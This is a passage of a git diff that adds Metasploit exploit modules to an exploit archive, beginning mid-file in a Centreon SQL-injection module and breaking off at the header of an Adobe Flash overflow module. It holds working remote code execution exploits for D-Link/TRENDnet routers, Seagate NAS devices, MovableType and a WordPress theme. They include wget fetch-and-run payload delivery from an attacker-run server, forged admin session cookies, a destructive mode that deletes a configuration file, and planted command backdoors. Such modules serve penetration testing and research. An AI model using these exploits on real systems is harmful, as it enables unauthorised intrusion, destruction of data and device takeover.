+ end
+
+ Exploit::CheckCode::Safe
+ end
+
+ def exploit
+ if check == Exploit::CheckCode::Safe
+ fail_with(Failure::NotVulnerable, "#{peer} - The SQLi cannot be exploited")
+ elsif check == Exploit::CheckCode::Detected
+ fail_with(Failure::Unknown, "#{peer} - The SQLi cannot be exploited. Possibly because there's nothing in the centreon.session table. Perhaps try again later?")
+ end
+
+ print_status("Exploiting...")
+ random_id = rand_text_numeric(5 + rand(8))
+ random_char = rand_text_alphanumeric(1)
+ session_injection = "#{random_id}' or '#{random_char}'='#{random_char}"
+ template_injection = "' UNION ALL SELECT 1,2,3,4,5,CHAR(59,#{mysql_payload}59),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23 -- /**"
+ res = send_template_id(session_injection, template_injection)
+
+ if res && res.body && res.body.to_s =~ /sh: --imgformat: command not found/
+ vprint_status("Output: #{res.body}")
+ end
+ end
+
+ def send_session_id(session_id)
+ res = send_request_cgi(
+ 'method' => 'GET',
+ 'uri' => normalize_uri(target_uri.to_s, 'include', 'views', 'graphs', 'graphStatus', 'displayServiceStatus.php'),
+ 'vars_get' =>
+ {
+ 'session_id' => session_id
+ }
+ )
+
+ res
+ end
+
+ def send_template_id(session_id, template_id)
+ res = send_request_cgi({
+ 'method' => 'GET',
+ 'uri' => normalize_uri(target_uri.to_s, 'include', 'views', 'graphs', 'graphStatus', 'displayServiceStatus.php'),
+ 'vars_get' =>
+ {
+ 'session_id' => session_id,
+ 'template_id' => template_id
+ }
+ }, 3)
+
+ res
+ end
+
+ def mysql_payload
+ p = ''
+ payload.encoded.each_byte { |c| p << "#{c},"}
+ p
+ end
+
+end
diff --git a/platforms/linux/webapps/41677.rb b/platforms/linux/webapps/41677.rb
new file mode 100755
index 000000000..ad4cf9878
--- /dev/null
+++ b/platforms/linux/webapps/41677.rb
@@ -0,0 +1,190 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class MetasploitModule < Msf::Exploit::Remote
+ Rank = NormalRanking # Only tested on Emulated environment
+
+ include Msf::Exploit::Remote::HttpClient
+ include Msf::Exploit::Remote::HttpServer::HTML
+ include Msf::Exploit::EXE
+ include Msf::Exploit::FileDropper
+
+ def initialize(info = {})
+ super(update_info(info,
+ 'Name' => 'D-Link/TRENDnet NCC Service Command Injection',
+ 'Description' => %q{
+ This module exploits a remote command injection vulnerability on several routers. The
+ vulnerability exists in the ncc service, while handling ping commands. This module has
+ been tested on a DIR-626L emulated environment. Several D-Link and TRENDnet devices
+ are reported as affected, including: D-Link DIR-626L (Rev A) v1.04b04, D-Link DIR-636L
+ (Rev A) v1.04, D-Link DIR-808L (Rev A) v1.03b05, D-Link DIR-810L (Rev A) v1.01b04, D-Link
+ DIR-810L (Rev B) v2.02b01, D-Link DIR-820L (Rev A) v1.02B10, D-Link DIR-820L (Rev A)
+ v1.05B03, D-Link DIR-820L (Rev B) v2.01b02, D-Link DIR-826L (Rev A) v1.00b23, D-Link
+ DIR-830L (Rev A) v1.00b07, D-Link DIR-836L (Rev A) v1.01b03 and TRENDnet TEW-731BR (Rev 2)
+ v2.01b01
+ },
+ 'Author' =>
+ [
+ 'Peter Adkins ', # Vulnerability discovery and initial PoC
+ 'Tiago Caetano Henriques', # Vulnerability discovery and initial PoC
+ 'Michael Messner ' # Metasploit module
+ ],
+ 'License' => MSF_LICENSE,
+ 'References' =>
+ [
+ ['CVE', '2015-1187'],
+ ['BID', '72816'],
+ ['URL', 'https://github.com/darkarnium/secpub/tree/master/Multivendor/ncc2'],
+ ['URL', 'http://seclists.org/fulldisclosure/2015/Mar/15'],
+ ['URL', 'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10052']
+ ],
+ 'Targets' =>
+ # Only tested on D-Link DIR-626L where wget is available
+ [
+ [ 'Linux mipsel Payload',
+ {
+ 'Arch' => ARCH_MIPSLE,
+ 'Platform' => 'linux'
+ }
+ ],
+ [ 'Linux mipsbe Payload',
+ {
+ 'Arch' => ARCH_MIPSBE,
+ 'Platform' => 'linux'
+ }
+ ],
+ ],
+ 'DisclosureDate' => 'Feb 26 2015',
+ 'DefaultTarget' => 0))
+
+ register_options(
+ [
+ OptString.new('WRITABLEDIR', [ true, 'A directory where we can write files', '/tmp' ]),
+ OptString.new('EXTURL', [ false, 'An alternative host to request the EXE payload from' ]),
+ OptString.new('TARGETURI', [true, 'The base path to the vulnerable application area', '/ping.ccp']),
+ OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 10])
+ ], self.class)
+ end
+
+ def check
+ begin
+ res = send_request_cgi({
+ 'method' => 'GET',
+ 'uri' => normalize_uri(target_uri.path)
+ })
+
+ # unknown if other devices also using mini_httpd
+ if res && [500].include?(res.code) && res.headers['Server'] && res.headers['Server'] =~ /mini_httpd/
+ return Exploit::CheckCode::Detected
+ end
+ rescue ::Rex::ConnectionError
+ return Exploit::CheckCode::Unknown
+ end
+
+ Exploit::CheckCode::Unknown
+ end
+
+ def exec_command(cmd, timeout = 20)
+ begin
+ res = send_request_cgi({
+ 'method' => 'POST',
+ 'uri' => normalize_uri(target_uri.path),
+ 'encode_params' => false,
+ 'vars_post' => {
+ 'ccp_act' => 'ping_v6',
+ 'ping_addr' => '$(' + cmd + ')'
+ }
+ }, timeout)
+ return res
+ rescue ::Rex::ConnectionError
+ fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
+ end
+ end
+
+ def primer
+ @payload_url = get_uri
+ wget_payload
+ end
+
+ def exploit
+ print_status("Accessing the vulnerable URL...")
+
+ unless check == Exploit::CheckCode::Detected
+ fail_with(Failure::NoTarget, "#{peer} - Failed to access the vulnerable URL")
+ end
+
+ print_status("Exploiting...")
+
+ @pl = generate_payload_exe
+ @payload_url = ''
+ @dropped_elf = rand_text_alpha(rand(5) + 3)
+
+ if datastore['EXTURL'].blank?
+ begin
+ Timeout.timeout(datastore['HTTPDELAY']) { super }
+ rescue Timeout::Error
+ end
+ chmod_payload
+ exec_payload
+ else
+ @payload_url = datastore['EXTURL']
+ wget_payload
+ chmod_payload
+ exec_payload
+ end
+ end
+
+ def wget_payload
+ upload_path = File.join(datastore['WRITABLEDIR'], @dropped_elf)
+
+ cmd = "wget${IFS}#{@payload_url}${IFS}-O${IFS}#{upload_path}"
+
+ print_status("Downloading the payload to the target machine...")
+ res = exec_command(cmd)
+
+ if res && [200].include?(res.code) && res.headers['Server'] && res.headers['Server'] =~ /mini_httpd/
+ register_files_for_cleanup(upload_path)
+ else
+ fail_with(Failure::Unknown, "#{peer} - Failed to download the payload to the target")
+ end
+ end
+
+ def chmod_payload
+ cmd = "chmod${IFS}777${IFS}#{File.join(datastore['WRITABLEDIR'], @dropped_elf)}"
+
+ print_status("chmod the payload...")
+ res = exec_command(cmd, 1)
+
+ unless res
+ fail_with(Failure::Unknown, "#{peer} - Unable to chmod payload")
+ end
+
+ Rex.sleep(1)
+ end
+
+ def exec_payload
+ cmd = File.join(datastore['WRITABLEDIR'], @dropped_elf)
+
+ print_status("Executing the payload...")
+ res = exec_command(cmd, 1)
+
+ unless res
+ fail_with(Failure::Unknown, "#{peer} - Unable to exec payload")
+ end
+
+ Rex.sleep(1)
+ end
+
+ # Handle incoming requests to the HTTP server
+ def on_request_uri(cli, request)
+ print_status("Request: #{request.uri}")
+ if request.uri =~ /#{Regexp.escape(get_resource)}/
+ print_status('Sending payload...')
+ send_response(cli, @pl)
+ end
+ end
+end
\ No newline at end of file
diff --git a/platforms/linux/webapps/41678.rb b/platforms/linux/webapps/41678.rb
new file mode 100755
index 000000000..3ee4f5532
--- /dev/null
+++ b/platforms/linux/webapps/41678.rb
@@ -0,0 +1,353 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+require 'rexml/document'
+
+class MetasploitModule < Msf::Exploit::Remote
+ Rank = NormalRanking
+
+ include Msf::Exploit::Remote::HttpClient
+
+ def initialize(info = {})
+ super(update_info(info,
+ 'Name' => 'Seagate Business NAS Unauthenticated Remote Command Execution',
+ 'Description' => %q{
+ Some Seagate Business NAS devices are vulnerable to command execution via a local
+ file include vulnerability hidden in the language parameter of the CodeIgniter
+ session cookie. The vulnerability manifests in the way the language files are
+ included in the code on the login page, and hence is open to attack from users
+ without the need for authentication. The cookie can be easily decrypted using a
+ known static encryption key and re-encrypted once the PHP object string has been
+ modified.
+ This module has been tested on the STBN300 device.
+ },
+ 'Author' => [
+ 'OJ Reeves ' # Discovery and Metasploit module
+ ],
+ 'References' => [
+ ['CVE', '2014-8684'],
+ ['CVE', '2014-8686'],
+ ['CVE', '2014-8687'],
+ ['EDB', '36202'],
+ ['URL', 'http://www.seagate.com/au/en/support/external-hard-drives/network-storage/business-storage-2-bay-nas/'],
+ ['URL', 'https://beyondbinary.io/advisory/seagate-nas-rce/']
+ ],
+ 'DisclosureDate' => 'Mar 01 2015',
+ 'Privileged' => true,
+ 'Platform' => 'php',
+ 'Arch' => ARCH_PHP,
+ 'Payload' => {'DisableNops' => true},
+ 'Targets' => [['Automatic', {}]],
+ 'DefaultTarget' => 0,
+ 'License' => MSF_LICENSE
+ ))
+
+ register_options([
+ OptString.new('TARGETURI', [true, 'Path to the application root', '/']),
+ OptString.new('ADMINACCOUNT', [true, 'Name of the NAS admin account', 'admin']),
+ OptString.new('COOKIEID', [true, 'ID of the CodeIgniter session cookie', 'ci_session']),
+ OptString.new('XORKEY', [true, 'XOR Key used for the CodeIgniter session', '0f0a000d02011f0248000d290d0b0b0e03010e07'])
+ ])
+ end
+
+ #
+ # Write a string value to a serialized PHP object without deserializing it first.
+ # If the value exists it will be updated.
+ #
+ def set_string(php_object, name, value)
+ prefix = "s:#{name.length}:\"#{name}\";s:"
+ if php_object.include?(prefix)
+ # the value already exists in the php blob, so update it.
+ return php_object.gsub("#{prefix}\\d+:\"[^\"]*\"", "#{prefix}#{value.length}:\"#{value}\"")
+ end
+
+ # the value doesn't exist in the php blob, so create it.
+ count = php_object.split(':')[1].to_i + 1
+ php_object.gsub(/a:\d+(.*)}$/, "a:#{count}\\1#{prefix}#{value.length}:\"#{value}\";}")
+ end
+
+ #
+ # Findez ze holez!
+ #
+ def check
+ begin
+ res = send_request_cgi(
+ 'uri' => normalize_uri(target_uri),
+ 'method' => 'GET',
+ 'headers' => {
+ 'Accept' => 'text/html'
+ }
+ )
+
+ if res && res.code == 200
+ headers = res.to_s
+
+ # validate headers
+ if headers.include?('X-Powered-By: PHP/5.2.13') && headers.include?('Server: lighttpd/1.4.28')
+ # and make sure that the body contains the title we'd expect
+ if res.body.include?('Login to BlackArmor')
+ return Exploit::CheckCode::Appears
+ end
+ end
+ end
+ rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, Rex::HostUnreachable
+ # something went wrong, assume safe.
+ end
+
+ Exploit::CheckCode::Safe
+ end
+
+ #
+ # Executez ze sploitz!
+ #
+ def exploit
+
+ # Step 1 - Establish a session with the target which will give us a PHP object we can
+ # work with.
+ begin
+ print_status("Establishing session with target ...")
+ res = send_request_cgi({
+ 'uri' => normalize_uri(target_uri),
+ 'method' => 'GET',
+ 'headers' => {
+ 'Accept' => 'text/html'
+ }
+ })
+
+ if res && res.code == 200 && res.to_s =~ /#{datastore['COOKIEID']}=([^;]+);/
+ cookie_value = $1.strip
+ else
+ fail_with(Failure::Unreachable, "#{peer} - Unexpected response from server.")
+ end
+ rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, Rex::HostUnreachable
+ fail_with(Failure::Unreachable, "#{peer} - Unable to establish connection.")
+ end
+
+ # Step 2 - Decrypt the cookie so that we have a PHP object we can work with directly
+ # then update it so that it's an admin session before re-encrypting
+ print_status("Upgrading session to administrator ...")
+ php_object = decode_cookie(cookie_value)
+ vprint_status("PHP Object: #{php_object}")
+
+ admin_php_object = set_string(php_object, 'is_admin', 'yes')
+ admin_php_object = set_string(admin_php_object, 'username', datastore['ADMINACCOUNT'])
+ vprint_status("Admin PHP object: #{admin_php_object}")
+
+ admin_cookie_value = encode_cookie(admin_php_object)
+
+ # Step 3 - Extract the current host configuration so that we don't lose it.
+ host_config = nil
+
+ # This time value needs to be consistent across calls
+ config_time = ::Time.now.to_i
+
+ begin
+ print_status("Extracting existing host configuration ...")
+ res = send_request_cgi(
+ 'uri' => normalize_uri(target_uri, 'index.php/mv_system/get_general_setup'),
+ 'method' => 'GET',
+ 'headers' => {
+ 'Accept' => 'text/html'
+ },
+ 'cookie' => "#{datastore['COOKIEID']}=#{admin_cookie_value}",
+ 'vars_get' => {
+ '_' => config_time
+ }
+ )
+
+ if res && res.code == 200
+ res.body.split("\r\n").each do |l|
+ if l.include?('general_setup')
+ host_config = l
+ break
+ end
+ end
+ else
+ fail_with(Failure::Unreachable, "#{peer} - Unexpected response from server.")
+ end
+ rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, Rex::HostUnreachable
+ fail_with(Failure::Unreachable, "#{peer} - Unable to establish connection.")
+ end
+
+ print_good("Host configuration extracted.")
+ vprint_status("Host configuration: #{host_config}")
+
+ # Step 4 - replace the host device description with a custom payload that can
+ # be used for LFI. We have to keep the payload small because of size limitations
+ # and we can't put anything in with '$' in it. So we need to make a simple install
+ # payload which will write a required payload to disk that can be executes directly
+ # as the last part of the payload. This will also be self-deleting.
+ param_id = rand_text_alphanumeric(3)
+
+ # There are no files on the target file system that start with an underscore
+ # so to allow for a small file size that doesn't collide with an existing file
+ # we'll just prefix it with an underscore.
+ payload_file = "_#{rand_text_alphanumeric(3)}.php"
+
+ installer = "file_put_contents('#{payload_file}', base64_decode($_POST['#{param_id}']));"
+ stager = Rex::Text.encode_base64(installer)
+ stager = xml_encode("")
+ vprint_status("Stager: #{stager}")
+
+ # Butcher the XML directly rather than attempting to use REXML. The target XML
+ # parser is way to simple/flaky to deal with the proper stuff that REXML
+ # spits out.
+ desc_start = host_config.index('" description="') + 15
+ desc_end = host_config.index('"', desc_start)
+ xml_payload = host_config[0, desc_start] +
+ stager + host_config[desc_end, host_config.length]
+ vprint_status(xml_payload)
+
+ # Step 5 - set the host description to the stager so that it is written to disk
+ print_status("Uploading stager ...")
+ begin
+ res = send_request_cgi(
+ 'uri' => normalize_uri(target_uri, 'index.php/mv_system/set_general_setup'),
+ 'method' => 'POST',
+ 'headers' => {
+ 'Accept' => 'text/html'
+ },
+ 'cookie' => "#{datastore['COOKIEID']}=#{admin_cookie_value}",
+ 'vars_get' => {
+ '_' => config_time
+ },
+ 'vars_post' => {
+ 'general_setup' => xml_payload
+ }
+ )
+
+ unless res && res.code == 200
+ fail_with(Failure::Unreachable, "#{peer} - Stager upload failed (invalid result).")
+ end
+ rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, Rex::HostUnreachable
+ fail_with(Failure::Unreachable, "#{peer} - Stager upload failed (unable to establish connection).")
+ end
+
+ print_good("Stager uploaded.")
+
+ # Step 6 - Invoke the stage, passing in a self-deleting php script body.
+ print_status("Executing stager ...")
+ payload_php_object = set_string(php_object, 'language', "../../../etc/devicedesc\x00")
+ payload_cookie_value = encode_cookie(payload_php_object)
+ self_deleting_payload = ""
+ errored = false
+
+ begin
+ res = send_request_cgi(
+ 'uri' => normalize_uri(target_uri),
+ 'method' => 'POST',
+ 'headers' => {
+ 'Accept' => 'text/html'
+ },
+ 'cookie' => "#{datastore['COOKIEID']}=#{payload_cookie_value}",
+ 'vars_post' => {
+ param_id => Rex::Text.encode_base64(self_deleting_payload)
+ }
+ )
+
+ if res && res.code == 200
+ print_good("Stager execution succeeded, payload ready for execution.")
+ else
+ print_error("Stager execution failed (invalid result).")
+ errored = true
+ end
+ rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, Rex::HostUnreachable
+ print_error("Stager execution failed (unable to establish connection).")
+ errored = true
+ end
+
+ # Step 7 - try to restore the previous configuration, allowing exceptions
+ # to bubble up given that we're at the end. This step is important because
+ # we don't want to leave a trail of junk on disk at the end.
+ print_status("Restoring host config ...")
+ res = send_request_cgi(
+ 'uri' => normalize_uri(target_uri, 'index.php/mv_system/set_general_setup'),
+ 'method' => 'POST',
+ 'headers' => {
+ 'Accept' => 'text/html'
+ },
+ 'cookie' => "#{datastore['COOKIEID']}=#{admin_cookie_value}",
+ 'vars_get' => {
+ '_' => config_time
+ },
+ 'vars_post' => {
+ 'general_setup' => host_config
+ }
+ )
+
+ # Step 8 - invoke the installed payload, but only if all went to plan.
+ unless errored
+ print_status("Executing payload at #{normalize_uri(target_uri, payload_file)} ...")
+ res = send_request_cgi(
+ 'uri' => normalize_uri(target_uri, payload_file),
+ 'method' => 'GET',
+ 'headers' => {
+ 'Accept' => 'text/html'
+ },
+ 'cookie' => "#{datastore['COOKIEID']}=#{payload_cookie_value}"
+ )
+ end
+ end
+
+ #
+ # Take a CodeIgnitor cookie and pull out the PHP object using the XOR
+ # key that we've been given.
+ #
+ def decode_cookie(cookie_content)
+ cookie_value = Rex::Text.decode_base64(URI.decode(cookie_content))
+ pass = xor(cookie_value, datastore['XORKEY'])
+ result = ''
+
+ (0...pass.length).step(2).each do |i|
+ result << (pass[i].ord ^ pass[i + 1].ord).chr
+ end
+
+ result
+ end
+
+ #
+ # Take a serialised PHP object cookie value and encode it so that
+ # CodeIgniter thinks it's legit.
+ #
+ def encode_cookie(cookie_value)
+ rand = Rex::Text.sha1(rand_text_alphanumeric(40))
+
+ block = ''
+
+ (0...cookie_value.length).each do |i|
+ block << rand[i % rand.length]
+ block << (rand[i % rand.length].ord ^ cookie_value[i].ord).chr
+ end
+
+ cookie_value = xor(block, datastore['XORKEY'])
+ cookie_value = CGI.escape(Rex::Text.encode_base64(cookie_value))
+ vprint_status("Cookie value: #{cookie_value}")
+
+ cookie_value
+ end
+
+ #
+ # XOR a value against a key. The key is cycled.
+ #
+ def xor(string, key)
+ result = ''
+
+ string.bytes.zip(key.bytes.cycle).each do |s, k|
+ result << (s ^ k)
+ end
+
+ result
+ end
+
+ #
+ # Simple XML substitution because the target XML handler isn't really
+ # full blown or smart.
+ #
+ def xml_encode(str)
+ str.gsub(/, '<').gsub(/>/, '>')
+ end
+
+end
\ No newline at end of file
diff --git a/platforms/linux/webapps/41697.rb b/platforms/linux/webapps/41697.rb
new file mode 100755
index 000000000..f65665380
--- /dev/null
+++ b/platforms/linux/webapps/41697.rb
@@ -0,0 +1,233 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class MetasploitModule < Msf::Exploit::Remote
+ Rank = GoodRanking
+
+ include Msf::Exploit::Remote::HttpClient
+
+ def initialize(info = {})
+ super(update_info(info,
+ 'Name' => 'SixApart MovableType Storable Perl Code Execution',
+ 'Description' => %q{
+ This module exploits a serialization flaw in MovableType before 5.2.12 to execute
+ arbitrary code. The default nondestructive mode depends on the target server having
+ the Object::MultiType and DateTime Perl modules installed in Perl's @INC paths.
+ The destructive mode of operation uses only required MovableType dependencies,
+ but it will noticeably corrupt the MovableType installation.
+ },
+ 'Author' =>
+ [
+ 'John Lightsey',
+ ],
+ 'License' => MSF_LICENSE,
+ 'References' =>
+ [
+ [ 'CVE', '2015-1592' ],
+ [ 'URL', 'https://movabletype.org/news/2015/02/movable_type_607_and_5212_released_to_close_security_vulnera.html' ],
+ ],
+ 'Privileged' => false, # web server context
+ 'Payload' =>
+ {
+ 'DisableNops' => true,
+ 'BadChars' => ' ',
+ 'Space' => 1024,
+ },
+ 'Compat' =>
+ {
+ 'PayloadType' => 'cmd'
+ },
+ 'Platform' => ['unix'],
+ 'Arch' => ARCH_CMD,
+ 'Targets' => [['Automatic', {}]],
+ 'DisclosureDate' => 'Feb 11 2015',
+ 'DefaultTarget' => 0))
+
+ register_options(
+ [
+ OptString.new('TARGETURI', [true, 'MoveableType cgi-bin directory path', '/cgi-bin/mt/']),
+ OptBool.new('DESTRUCTIVE', [true, 'Use destructive attack method (more likely to succeed, but corrupts target system.)', false])
+ ], self.class
+ )
+
+ end
+
+=begin
+#!/usr/bin/perl
+# generate config parameters for injection checks
+use Storable;
+{
+ package XXXCHECKXXX;
+ sub STORABLE_thaw {
+ return 1;
+ }
+ sub STORABLE_freeze {
+ return 1;
+ }
+}
+my $check_obj = bless { ignore => 'this' }, XXXCHECKXXX;
+my $frozen = 'SERG' . pack( 'N', 0 ) . pack( 'N', 3 ) . Storable::freeze({ x => $check_obj});
+$frozen = unpack 'H*', $frozen;
+print "LFI test for storable flaw is: $frozen\n";
+{
+ package DateTime;
+ use overload '+' => sub { 'ignored' };
+}
+=end
+
+ def check
+ vprint_status("Sending storable test injection for XXXCHECKXXX.pm load failure")
+ res = send_request_cgi({
+ 'method' => 'GET',
+ 'uri' => normalize_uri(target_uri.path, 'mt-wizard.cgi'),
+ 'vars_get' => {
+ '__mode' => 'retry',
+ 'step' => 'configure',
+ 'config' => '53455247000000000000000304080831323334353637380408080803010000000413020b585858434845434b58585801310100000078'
+ }
+ })
+
+ unless res && res.code == 200 && res.body.include?("Can't locate XXXCHECKXXX.pm")
+ vprint_status("Failed XXXCHECKXXX.pm load test");
+ return Exploit::CheckCode::Safe
+ end
+ Exploit::CheckCode::Vulnerable
+ end
+
+ def exploit
+ if datastore['DESTRUCTIVE']
+ exploit_destructive
+ else
+ exploit_nondestructive
+ end
+ end
+
+=begin
+#!/usr/bin/perl
+# Generate nondestructive config parameter for RCE via Object::MultiType
+# and Try::Tiny. The generated value requires minor modification to insert
+# the payload inside the system() call and resize the padding.
+use Storable;
+{
+ package Object::MultiType;
+ use overload '+' => sub { 'ingored' };
+}
+{
+ package Object::MultiType::Saver;
+}
+{
+ package DateTime;
+ use overload '+' => sub { 'ingored' };
+}
+{
+ package Try::Tiny::ScopeGuard;
+}
+my $try_tiny_loader = bless {}, 'DateTime';
+my $multitype_saver = bless { c => 'MT::run_app' }, 'Object::MultiType::Saver';
+my $multitype_coderef = bless \$multitype_saver, 'Object::MultiType';
+my $try_tiny_executor = bless [$multitype_coderef, 'MT;print qq{Content-type: text/plain\n\n};system(q{});' . ('#' x 1025) . "\nexit;"], 'Try::Tiny::ScopeGuard';
+my $data = [$try_tiny_loader, $try_tiny_executor];
+my $frozen = 'SERG' . pack( 'N', 0 ) . pack( 'N', 3 ) . Storable::freeze($data);
+$frozen = unpack 'H*', $frozen;
+print "RCE payload requiring Object::MultiType and DateTime: $frozen\n";
+=end
+
+ def exploit_nondestructive
+ print_status("Using nondestructive attack method")
+ config_payload = "53455247000000000000000304080831323334353637380408080802020000001411084461746554696d6503000000000411155472793a3a54696e793a3a53636f7065477561726402020000001411114f626a6563743a3a4d756c7469547970650411184f626a6563743a3a4d756c7469547970653a3a536176657203010000000a0b4d543a3a72756e5f6170700100000063013d0400004d543b7072696e742071717b436f6e74656e742d747970653a20746578742f706c61696e5c6e5c6e7d3b73797374656d28717b"
+ config_payload << payload.encoded.unpack('H*')[0]
+ config_payload << "7d293b"
+ config_payload << "23" * (1025 - payload.encoded.length)
+ config_payload << "0a657869743b"
+
+ print_status("Sending payload (#{payload.raw.length} bytes)")
+
+ send_request_cgi({
+ 'method' => 'GET',
+ 'uri' => normalize_uri(target_uri.path, 'mt-wizard.cgi'),
+ 'vars_get' => {
+ '__mode' => 'retry',
+ 'step' => 'configure',
+ 'config' => config_payload
+ }
+ }, 5)
+ end
+
+=begin
+#!/usr/bin/perl
+# Generate destructive config parameter to unlink mt-config.cgi
+use Storable;
+{
+ package CGITempFile;
+}
+my $unlink_target = "mt-config.cgi";
+my $cgitempfile = bless \$unlink_target, "CGITempFile";
+my $data = [$cgitempfile];
+my $frozen = 'SERG' . pack( 'N', 0 ) . pack( 'N', 3 ) . Storable::freeze($data);
+$frozen = unpack 'H*', $frozen;
+print "RCE unlink payload requiring CGI: $frozen\n";
+=end
+
+ def exploit_destructive
+ print_status("Using destructive attack method")
+ # First we need to delete mt-config.cgi using the storable injection
+
+ print_status("Sending storable injection to unlink mt-config.cgi")
+
+ res = send_request_cgi({
+ 'method' => 'GET',
+ 'uri' => normalize_uri(target_uri.path, 'mt-wizard.cgi'),
+ 'vars_get' => {
+ '__mode' => 'retry',
+ 'step' => 'configure',
+ 'config' => '534552470000000000000003040808313233343536373804080808020100000004110b43474954656d7046696c650a0d6d742d636f6e6669672e636769'
+ }
+ })
+
+ if res && res.code == 200
+ print_status("Successfully sent unlink request")
+ else
+ fail_with(Failure::Unknown, "Error sending unlink request")
+ end
+
+ # Now we rewrite mt-config.cgi to accept a payload
+
+ print_status("Rewriting mt-config.cgi to accept the payload")
+
+ res = send_request_cgi({
+ 'method' => 'GET',
+ 'uri' => normalize_uri(target_uri.path, 'mt-wizard.cgi'),
+ 'vars_get' => {
+ '__mode' => 'next_step',
+ 'step' => 'optional',
+ 'default_language' => 'en_us',
+ 'email_address_main' => "x\nObjectDriver mysql;use CGI;print qq{Content-type: text/plain\\n\\n};if(my $c = CGI->new()->param('xyzzy')){system($c);};unlink('mt-config.cgi');exit;1",
+ 'set_static_uri_to' => '/',
+ 'config' => '5345524700000000000000024800000001000000127365745f7374617469635f66696c655f746f2d000000012f', # equivalent to 'set_static_file_to' => '/',
+ }
+ })
+
+ if res && res.code == 200
+ print_status("Successfully sent mt-config rewrite request")
+ else
+ fail_with(Failure::Unknown, "Error sending mt-config rewrite request")
+ end
+
+ # Finally send the payload
+
+ print_status("Sending payload request")
+
+ send_request_cgi({
+ 'method' => 'GET',
+ 'uri' => normalize_uri(target_uri.path, 'mt.cgi'),
+ 'vars_get' => {
+ 'xyzzy' => payload.encoded,
+ }
+ }, 5)
+ end
+
+end
\ No newline at end of file
diff --git a/platforms/linux/webapps/41698.rb b/platforms/linux/webapps/41698.rb
new file mode 100755
index 000000000..aee6bc5ef
--- /dev/null
+++ b/platforms/linux/webapps/41698.rb
@@ -0,0 +1,98 @@
+##
+# This module requires Metasploit: http://www.metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+require 'socket'
+
+class MetasploitModule < Msf::Exploit::Remote
+ Rank = ExcellentRanking
+
+ include Msf::Exploit::FileDropper
+ include Msf::Exploit::Remote::HTTP::Wordpress
+
+ def initialize(info = {})
+ super(update_info(
+ info,
+ 'Name' => 'WordPress Holding Pattern Theme Arbitrary File Upload',
+ 'Description' => %q{
+ This module exploits a file upload vulnerability in all versions of the
+ Holding Pattern theme found in the upload_file.php script which contains
+ no session or file validation. It allows unauthenticated users to upload
+ files of any type and subsequently execute PHP scripts in the context of
+ the web server.
+ },
+ 'License' => MSF_LICENSE,
+ 'Author' =>
+ [
+ 'Alexander Borg', # Vulnerability disclosure
+ 'Rob Carr ' # Metasploit module
+ ],
+ 'References' =>
+ [
+ ['CVE', '2015-1172'],
+ ['WPVDB', '7784'],
+ ['PACKETSTORM', '130282']
+ ],
+ 'DisclosureDate' => 'Feb 11 2015',
+ 'Platform' => 'php',
+ 'Arch' => ARCH_PHP,
+ 'Targets' => [['holding_pattern', {}]],
+ 'DefaultTarget' => 0
+ ))
+ end
+
+ def check
+ check_theme_version_from_readme('holding_pattern')
+ end
+
+ def rhost
+ datastore['RHOST']
+ end
+
+ def holding_pattern_uploads_url
+ normalize_uri(wordpress_url_themes, 'holding_pattern', 'uploads/')
+ end
+
+ def holding_pattern_uploader_url
+ normalize_uri(wordpress_url_themes, 'holding_pattern', 'admin', 'upload-file.php')
+ end
+
+ def generate_mime_message(payload, payload_name)
+ data = Rex::MIME::Message.new
+ target_ip = IPSocket.getaddress(rhost)
+ field_name = Rex::Text.md5(target_ip)
+
+ # In versions 1.2 and 1.3 of the theme, the upload directory must
+ # be encoded in base64 and sent with the request. To maintain
+ # compatibility with the hardcoded path of ../uploads in prior
+ # versions, we will send the same path in the request.
+ upload_path = Rex::Text.encode_base64('../uploads')
+
+ data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"#{field_name}\"; filename=\"#{payload_name}\"")
+ data.add_part(upload_path, nil, nil, 'form-data; name="upload_path"')
+ data
+ end
+
+ def exploit
+ print_status("Preparing payload...")
+ payload_name = "#{Rex::Text.rand_text_alpha_lower(10)}.php"
+ data = generate_mime_message(payload, payload_name)
+
+ print_status("Uploading payload...")
+ res = send_request_cgi(
+ 'method' => 'POST',
+ 'uri' => holding_pattern_uploader_url,
+ 'ctype' => "multipart/form-data; boundary=#{data.bound}",
+ 'data' => data.to_s
+ )
+ fail_with(Failure::Unreachable, 'No response from the target') if res.nil?
+ fail_with(Failure::UnexpectedReply, "Server responded with status code #{res.code}") if res.code != 200
+ payload_url = normalize_uri(holding_pattern_uploads_url, payload_name)
+
+ print_status("Executing the payload at #{payload_url}")
+ register_files_for_cleanup(payload_name)
+ send_request_cgi({ 'uri' => payload_url, 'method' => 'GET' }, 5)
+ end
+end
\ No newline at end of file
diff --git a/platforms/multiple/local/41681.rb b/platforms/multiple/local/41681.rb
new file mode 100755
index 000000000..169e8db11
--- /dev/null
+++ b/platforms/multiple/local/41681.rb
@@ -0,0 +1,191 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class MetasploitModule < Msf::Exploit::Remote
+ Rank = GreatRanking
+
+ include Msf::Exploit::Remote::BrowserExploitServer
+
+ def initialize(info={})
+ super(update_info(info,
+ 'Name' => 'Adobe Flash Player Nellymoser Audio Decoding Buffer Overflow',
+ 'Description' => %q{
+ This module exploits a buffer overflow on Adobe Flash Player when handling nellymoser
+ encoded audio inside a FLV video, as exploited in the wild on June 2015. This module
+ has been tested successfully on:
+ Windows 7 SP1 (32-bit), IE11 and Adobe Flash 18.0.0.160,
